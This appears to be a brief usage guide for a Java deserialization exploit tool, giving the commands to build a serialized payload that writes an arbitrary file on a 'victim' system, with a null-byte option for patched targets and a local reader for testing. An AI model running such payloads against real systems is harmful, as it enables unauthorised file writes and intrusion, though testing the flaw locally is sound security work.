1)At first, we create a serialized payload:
  java -jar aced_cup.jar /path/payload /path/target /path/out 1
  
  /path/payload - a path to a file with your payload
  /path/target - a path to a file that will be created in your victim (this will be stored in the serialized payload)
  /path/out - a path to a file with serialized payload
  0 - turn off null-byte ending if you attack a patched system (with null-byte- by default)

  2)Then we set the serialized payload to the serialized reader (if we want to test the vuln on your host) :
  java -jar ser_reader serialized_payload.txt
  
  ser_reader tries to deserialize the payload and because of a vulnerability in it's library, it creates a new file in the directory specified.
